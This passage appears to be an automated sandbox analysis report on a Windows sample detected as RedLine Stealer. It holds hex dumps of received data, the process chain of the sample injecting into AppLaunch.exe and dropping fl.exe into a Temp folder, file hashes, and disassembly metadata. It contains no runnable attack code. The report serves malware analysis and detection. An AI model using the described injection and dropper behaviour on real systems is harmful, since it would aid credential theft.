2021-10-28 20:43:28 UTC	3687	IN	Data Raw: ae e2 80 8c e2 80 ae e2 81 af e2 80 8f e2 80 8c e2 81 ac e2 81 ac e2 81 ab e2 81 ad e2 80 8e e2 80 8c e2 80 ae 00 e2 81 ab e2 80 8d e2 81 ac e2 80 ad e2 80 8f e2 81 ac e2 81 aa e2 80 8d e2 81 aa e2 81 ae e2 81 af e2 80 aa e2 81 ae e2 80 8f e2 80 8c e2 81 ac e2 80 ae e2 80 ad e2 81 ad e2 81 aa e2 81 af e2 80 8e e2 80 8d e2 80 ab e2 80 8b e2 81 aa e2 80 8f e2 80 8c e2 81 ad e2 80 8d e2 80 8c e2 80 8f e2 81 ac e2 80 ad e2 80 8b e2 81 aa e2 81 ab e2 81 aa e2 80 8f e2 80 8c e2 80 ae 00 e2 81 ae e2 80 ac e2 81 aa e2 81 ab e2 80 8d e2 80 8c e2 80 ae e2 80 8d e2 81 ae e2 81 af e2 80 8e e2 80 ae e2 80 8e e2 80 aa e2 80 8e e2 80 ae e2 80 aa e2 81 ac e2 80 8c e2 81 ad e2 80 8d e2 80 aa e2 80 8b e2 80 aa e2 81 ac e2 81 ae e2 81 ae e2 81 ac e2 80 ab e2 80 8c e2 80 ae Data Ascii:
2021-10-28 20:43:28 UTC	3703	IN	Data Raw: ab e2 80 aa e2 81 ac e2 80 ac e2 80 ad e2 80 8b e2 80 8b e2 80 ad e2 81 ab e2 81 aa e2 81 ad e2 80 8b e2 81 ac e2 80 8d e2 81 ac e2 80 aa e2 80 8c e2 81 ae e2 80 8c e2 81 ac e2 80 aa e2 81 ae e2 80 ae e2 81 ad e2 81 af e2 81 ae e2 81 ad e2 80 ac e2 80 aa e2 80 ae e2 80 8c e2 80 ad e2 80 ab e2 81 aa e2 80 ad e2 81 ab e2 80 aa e2 80 ae 00 e2 80 ae e2 80 8b e2 80 8c e2 80 ab e2 81 ad e2 81 ab e2 81 af e2 80 8b e2 81 ac e2 80 ad e2 81 ab e2 81 af e2 80 ae e2 80 ae e2 80 ae e2 80 8b e2 80 ac e2 80 8e e2 80 8d e2 80 ac e2 80 8b e2 81 ae e2 81 ab e2 80 ab e2 81 af e2 80 8d e2 81 ae e2 81 ad e2 80 aa e2 81 aa e2 80 8b e2 80 8e e2 80 ac e2 80 8f e2 81 ad e2 80 8e e2 81 ac e2 81 af e2 81 ab e2 80 aa e2 80 ae 00 e2 80 8b e2 81 ac e2 81 af e2 80 8c e2 80 8e e2 81 ac Data Ascii:
2021-10-28 20:43:28 UTC	3719	IN	Data Raw: e2 81 ad e2 80 8c e2 80 8b e2 81 ad e2 81 af e2 80 ad e2 80 8b e2 81 ab e2 80 ad e2 80 ad e2 80 8f e2 81 ae e2 81 ae e2 81 ad e2 81 ab e2 80 8f e2 81 ae e2 80 ac e2 80 ab e2 80 ad e2 80 ae 00 e2 81 ae e2 81 ab e2 80 8c e2 80 8e e2 81 ad e2 81 ad e2 81 aa e2 80 ae e2 81 ad e2 81 ad e2 81 ac e2 81 ac e2 81 ab e2 80 8f e2 81 ab e2 80 8f e2 80 ae e2 80 aa e2 80 ab e2 80 8e e2 80 8b e2 80 ac e2 81 ac e2 80 8d e2 81 ae e2 80 8e e2 81 ac e2 80 ad e2 80 ab e2 81 ad e2 81 af e2 81 ae e2 80 ae e2 80 8c e2 81 aa e2 81 ae e2 81 ab e2 80 8c e2 81 ab e2 80 ad e2 80 ae 00 e2 81 ae e2 81 ac e2 80 aa e2 80 8e e2 81 aa e2 80 8b e2 80 8c e2 80 8b e2 80 8d e2 80 8e e2 80 aa e2 81 ab e2 81 ac e2 80 8e e2 81 ae e2 80 8f e2 81 ad e2 80 ad e2 80 8b e2 81 ab e2 80 8e e2 81 ac e2 Data Ascii:
2021-10-28 20:43:28 UTC	3735	IN	Data Raw: 10 08 06 00 02 0e 0e 1d 1c 04 20 01 1c 1c 05 20 00 12 81 51 09 00 02 12 81 89 12 81 2d 0e 04 00 01 1c 1c 04 20 01 02 1c 05 00 02 02 1c 1c 05 20 02 01 0e 0c 08 20 03 01 0e 0c 11 80 ad 07 00 03 11 75 08 08 08 0b 20 04 01 12 81 91 11 81 99 0c 0c 0a 20 05 01 12 81 91 08 08 08 08 09 20 02 11 80 e1 0e 12 80 a9 05 00 00 12 81 a1 0c 20 05 01 0e 12 80 a9 12 81 a1 0c 0c 09 20 02 01 12 81 a1 1d 11 6d 06 20 01 01 11 81 a9 05 20 00 12 81 95 06 20 01 01 11 81 b1 06 20 01 01 12 81 ad 06 20 01 01 12 81 b5 07 20 02 01 11 81 b9 02 0d 20 04 01 11 81 c1 11 75 11 75 11 81 c5 09 20 02 01 12 81 a1 11 81 c1 08 20 02 01 12 81 c9 11 6d 06 20 01 01 12 81 cd 0b 00 02 12 81 d1 12 81 d1 12 81 d1 07 00 01 11 80 85 11 6d 09 20 02 01 12 81 91 11 81 c1 07 00 01 11 81 d5 11 6d 0d 20 04 01 Data Ascii: Q- u m uu m m m
2021-10-28 20:43:28 UTC	3751	IN	Data Raw: 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 82 d9 11 Data Ascii:
2021-10-28 20:43:28 UTC	3767	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 62 62 02 64 62 62 38 64 62 62 b7 64 62 62 f5 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 Data Ascii: dbbdbb8dbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbbdbb
2021-10-28 20:43:28 UTC	3783	IN	Data Raw: 64 62 62 40 64 62 62 5c 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 5f 5d 5d ff 2e 2e 2e ff 28 28 28 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 28 28 28 ff 2b 2b 2b ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 35 32 2c ff 66 53 2a ff b4 88 27 ff e4 a8 25 ff ee af 25 ff ea ac 25 ff e8 ab 25 ff ec ae 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 Data Ascii: dbb@dbb\dbbdbbdbbdbbdbbdbb_]]...(((''''''''''''''''''''''''''''''''''''''''''(((+++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,52,fS*'%%%%%%%%%%%%%%%%%%%%%%%
2021-10-28 20:43:28 UTC	3799	IN	Data Raw: 64 62 62 ef 64 62 62 f9 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 63 61 61 ff 3f 3e 3e ff 28 28 28 ff 28 28 28 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 31 2e 27 ff 7c 61 26 ff e1 a6 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 Data Ascii: dbbdbbdbbdbbdbbdbbdbbcaa?>>((((((''''''''''''''''''''''''''''''''''''''''''''''''1.'\|a&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
2021-10-28 20:43:28 UTC	3815	IN	Data Raw: 64 62 62 16 64 62 62 16 64 62 62 e1 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 60 5e 5e ff 4e 4d 4d ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 25 25 25 ff 25 25 25 ff 25 25 25 ff 26 26 26 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 29 29 27 ff 3a 34 27 ff 5f 4d 26 ff 90 6f 26 ff bc 8d 26 ff b6 89 26 ff 8a 6b 26 ff 86 68 26 ff c0 90 25 ff ed ae 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 Data Ascii: dbbdbbdbbdbbdbbdbbdbbdbb`^^NMM&&&&&&&&&&&&%%%%%%%%%&&&''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''))':4'_M&o&&&k&h&%%%%%%%%%%
2021-10-28 20:43:28 UTC	3831	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 80 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2021-10-28 20:43:28 UTC	3847	IN	Data Raw: 4c 40 26 ff a3 7b 25 ff e6 a9 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff e8 ab 25 ff 6b 56 29 ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2d 2d 2d ff 2d 2d 2d ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c Data Ascii: L@&{%%%%%%%%%%%%%%kV),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
2021-10-28 20:43:28 UTC	3863	IN	Data Raw: 2b 2b 2b fe 2b 2b 2b fe 2e 2e 2e ff 47 46 46 fe 61 5f 5f fe 64 62 62 ff 63 61 61 fe 63 61 61 fe 64 62 62 fd 63 61 61 8a 63 61 61 07 63 61 61 06 64 62 62 83 64 62 62 fa 64 62 62 ff 64 62 62 ff 63 61 61 ff 5c 5a 5a ff 3e 3d 3d ff 28 28 28 ff 28 28 28 ff 28 28 28 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 26 26 26 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 Data Ascii: ++++++...GFFa__dbbcaacaadbbcaacaacaadbbdbbdbbdbbcaa\ZZ>==((((((((('''''''''''''''''''''''''''''''''&&&&&&&&&&&&&&&&&&&&&''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
2021-10-28 20:43:28 UTC	3879	IN	Data Raw: 9d 78 27 fe 3c 37 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2b 2b 2b fe 2c 2c 2c fe 3d 3d 3d fe 62 60 60 fe 63 61 61 fe 63 61 61 fe 63 61 61 f8 64 62 62 fd 64 62 62 ff 64 62 62 ff 61 5f 5f ff 36 36 36 fe 27 27 27 ff 27 27 27 ff 27 27 27 ff 26 26 26 fe 27 27 27 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 26 26 26 fe 2c 2b 27 ff 95 72 25 ff ec ad 25 ff ee af 25 ff ed ae 24 fe ee af 25 ff ee af 25 ff ee af 25 ff ed ae 24 fe ee af 25 ff ee af 25 ff ee af 25 ff ee af 25 ff ed ae 24 fe ee af 25 ff ee af 25 ff ee af 25 ff ed ae 24 fe ee af 25 ff ee af 25 ff ee af 25 Data Ascii: x'<7++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++,,,===b``caacaacaadbbdbbdbba__666'''''''''&&&''''''''''''&&&,+'r%%%$%%%$%%%%$%%%$%%%
2021-10-28 20:43:28 UTC	3891	IN	Data Raw: 2a 2a 2a ff 2c 2c 2c ff 2e 2e 2e ff 30 30 30 ff 32 32 32 ff 35 35 35 ff 39 38 38 ff 3c 3b 3b ff 40 3f 3f ff 44 43 43 ff 48 47 47 ff 4d 4c 4c ff 52 50 50 ff 56 55 55 ff 5b 5a 5a ff 60 5e 5e ff 62 60 60 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 ff 64 62 62 b4 00 00 00 00 63 61 61 01 63 61 61 d2 64 62 62 ff 64 62 62 ff 64 62 62 ff 4d 4b 4b ff 2a 2a 2a ff 29 29 29 ff 29 29 29 ff 29 29 29 ff 2a 2a 2a ff 2b 2b 2b ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2b 2b 2b ff 2b 2b 2b ff 2b 2b 2b ff 2b 2b 2b ff 2a 2a 2a ff 29 29 29 ff 29 29 29 Data Ascii: *,,,...000222555988<;;@??DCCHGGMLLRPPVUU[ZZ`^^b``dbbdbbdbbdbbdbbcaacaadbbdbbdbbMKK)))))))))+++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,++++++++++++*))))))
2021-10-28 20:43:28 UTC	3907	IN	Data Raw: 29 29 29 ff 29 29 29 ff 2a 2a 2a fe 2b 2b 2b ff 2b 2b 2b ff 2b 2b 2b fe 2c 2c 2c ff 2c 2c 2c ff 2b 2b 2b fe 2b 2b 2b ff 2a 2a 2a ff 2a 2a 2a fe 2a 2a 2a ff 29 29 29 ff 29 29 29 fe 29 29 29 ff 2a 2a 2a ff 2c 2c 2c ff 2e 2e 2e fe 31 30 30 ff 34 34 34 ff 38 37 37 fe 3b 3a 3a ff 3f 3e 3e ff 44 43 43 fe 49 48 48 ff 4e 4c 4c ff 53 52 52 fe 5e 5c 5c ff 63 61 61 ff 63 61 61 fe 64 62 62 ed 63 61 61 1c 63 61 61 30 64 62 62 f6 63 61 61 fe 5a 59 59 ff 2e 2d 2d ff 28 28 28 fe 2b 2b 2b ff 2b 2b 2b ff 2b 2b 2b fe 2c 2c 2c ff 2c 2c 2c ff 2c 2c 2c ff 2b 2b 2b fe 2c 2c 2c ff 2b 2b 2b fe 2c 2c 2c ff 2c 2c 2c ff 2b 2b 2b fe 2c 2c 2c ff 2c 2c 2c ff 2b 2b 2b fe 2c 2c 2c ff 2c 2c 2c ff 2b 2b 2b fe 2c 2c 2c ff 2b 2b 2b ff 2b 2b 2b fe 2b 2b 2b ff 2b 2b 2b ff 2a 2a 2a fe 29 29 29 Data Ascii: ))))))*+++++++++,,,,,,++++++*****))))))))),,,...100444877;::?>>DCCIHHNLLSRR^\\caacaadbbcaacaa0dbbcaaZYY.--(((+++++++++,,,,,,,,,+++,,,+++,,,,,,+++,,,,,,+++,,,,,,+++,,,++++++++++++**)))
2021-10-28 20:43:28 UTC	3923	IN	Data Raw: 2c 2c 2c ff 2c 2c 2c ff 2f 2e 2b ff 70 59 29 ff 2c 2c 2c ff 2d 2d 2d ff 63 61 61 f3 63 61 61 eb 28 28 28 ff 27 27 27 ff 27 27 27 ff 52 44 26 ff d0 9a 25 ff ee af 25 ff e2 a6 25 ff 97 73 26 ff 77 5e 29 ff 85 68 28 ff bf 8f 26 ff 5d 4d 2a ff 2c 2c 2c ff 2f 2f 2f ff 63 61 61 e9 63 61 61 dd 2b 2b 2b ff 26 26 26 ff 26 26 26 ff 27 27 27 ff 43 3a 26 ff 95 72 25 ff e0 a6 25 ff df a4 25 ff d4 9d 25 ff a6 7e 25 ff 3d 37 2b ff 2c 2c 2c ff 2c 2c 2c ff 33 33 33 ff 63 61 61 db 63 61 61 cb 30 30 30 ff 26 26 26 ff 26 26 26 ff 27 27 27 ff 27 27 27 ff 27 27 27 ff 29 28 27 ff 2d 2b 26 ff 2a 29 26 ff 27 27 27 ff 27 27 27 ff 29 29 29 ff 2b 2b 2b ff 37 37 37 ff 63 61 61 c9 63 61 61 b7 45 44 44 ff 33 33 33 ff 2e 2e 2e ff 2a 2a 2a ff 28 28 28 ff 27 27 27 ff 27 27 27 ff 27 27 27 Data Ascii: ,,,,,,/.+pY),,,---caacaa(((''''''RD&%%%s&w^)h(&]M,,,///caacaa+++&&&&&&'''C:&r%%%%~%=7+,,,,,,333caacaa000&&&&&&''''''''')('-+&)&'''''')))+++777caacaaEDD333...***((('''''''''

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe PID: 7008 Parent PID: 3556

General

Start time:	22:42:53
Start date:	28/10/2021
Path:	C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe'
Imagebase:	0x400000
File size:	4377600 bytes
MD5 hash:	6D8EFBDD3C7A04521F1626F515562EF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.281169813.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.279227451.0000000002732000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.311962797.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.282891500.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: AppLaunch.exe PID: 7104 Parent PID: 7008

General

Start time:	22:42:59
Start date:	28/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x230000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.346316963.0000000000402000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: WerFault.exe PID: 5904 Parent PID: 7008

General

Start time:	22:43:02
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 208
Imagebase:	0x1390000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: fl.exe PID: 5840 Parent PID: 7104

General

Start time:	22:43:29
Start date:	28/10/2021
Path:	C:\Users\user\AppData\Local\Temp\fl.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\AppData\Local\Temp\fl.exe'
Imagebase:	0x24cc8cb0000
File size:	4018176 bytes
MD5 hash:	45B9D6DBC9ECF89F036E2F4B3A51CDB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 12%, Virustotal, Browse Detection: 21%, ReversingLabs
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: AppLaunch.exe PID: 7104 Parent PID: 7008 AppLaunch.exeCOMMON

Executed Functions

Function 0A7E6D60, Relevance: 25.0, Strings: 19, Instructions: 1274COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7E6F35
Tky, xrefs: 0A7E7596
,<`, xrefs: 0A7E6FF2
Lg`, xrefs: 0A7E8044
Lg`, xrefs: 0A7E7EB8
D`, xrefs: 0A7E6F1D
D`, xrefs: 0A7E6F8E
Lg`, xrefs: 0A7E8033
D`, xrefs: 0A7E6EA4
D`, xrefs: 0A7E710E
D`, xrefs: 0A7E7032
,<`, xrefs: 0A7E7013
D`, xrefs: 0A7E71D7
Lg`, xrefs: 0A7E7D07
D`, xrefs: 0A7E7778
D`, xrefs: 0A7E70A2
,<`, xrefs: 0A7E6E6C
D`, xrefs: 0A7E70B7
,<`, xrefs: 0A7E6E84

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: ,<`$,<`$,<`$,<`$Lg`$Lg`$Lg`$Lg`$Tky$D`$D`$D`$D`$D`$D`$D`$D`$D`$D`
API String ID: 0-3374297930
Opcode ID: 0c95bec04ad7e417873d3e66159e76b7cd9f2927004dd510507a5abe3c52750b
Instruction ID: 62ad5304fb8dbd8d98c7f107a37902eef875eefa26f71b678bc15b64f021cf14
Opcode Fuzzy Hash: 0c95bec04ad7e417873d3e66159e76b7cd9f2927004dd510507a5abe3c52750b
Instruction Fuzzy Hash: 9CC20934A00218DFCB69DF64C894AAEBBB6FF89305F1085A9D909AB351DB31DD85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E3FB0, Relevance: 21.0, Strings: 16, Instructions: 975COMMON

Download Yara Rule

Strings

(pl, xrefs: 0A7E408D
D!ll, xrefs: 0A7E482E
\kl, xrefs: 0A7E45EC
D!ll, xrefs: 0A7E4840
\kl, xrefs: 0A7E45E2
xEy, xrefs: 0A7E4362
xEy, xrefs: 0A7E422E
(pl, xrefs: 0A7E40C0
D`, xrefs: 0A7E4486
xEy, xrefs: 0A7E4564
D!ll, xrefs: 0A7E43AD
t%ll, xrefs: 0A7E41FF
t%ll, xrefs: 0A7E41F5
(pl, xrefs: 0A7E40CA
D!ll, xrefs: 0A7E484A
\kl, xrefs: 0A7E45D0

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: (pl$(pl$(pl$D!ll$D!ll$D!ll$D!ll$\kl$\kl$\kl$t%ll$t%ll$xEy$xEy$xEy$D`
API String ID: 0-1879113052
Opcode ID: 5eb4e0683ec4ca3d120d14c5a1972726517ca2fe5ac40558db6367562a590cbd
Instruction ID: e8a5eec5a56161ad25a164f2e731ebf174e71647434b1028f058ea9832c11544
Opcode Fuzzy Hash: 5eb4e0683ec4ca3d120d14c5a1972726517ca2fe5ac40558db6367562a590cbd
Instruction Fuzzy Hash: 25928974A00214CFDB64DF68C498AA9BBF6FF88304F1185A9E54A9B361DB31EC85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0A7EABB8, Relevance: 4.4, Strings: 3, Instructions: 629COMMON

Download Yara Rule

Strings

HSy, xrefs: 0A7EB16F
D`, xrefs: 0A7EAC34
D`, xrefs: 0A7EB360

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: HSy$D`$D`
API String ID: 0-1882881562
Opcode ID: 4461102f6ea52935419dab753b39cdcee2476a2991c60d84a59afde7aac6e043
Instruction ID: 750faf90fc1112cb45f133ade2d6e4a24373ef1b1febbae897f870c4a4402638
Opcode Fuzzy Hash: 4461102f6ea52935419dab753b39cdcee2476a2991c60d84a59afde7aac6e043
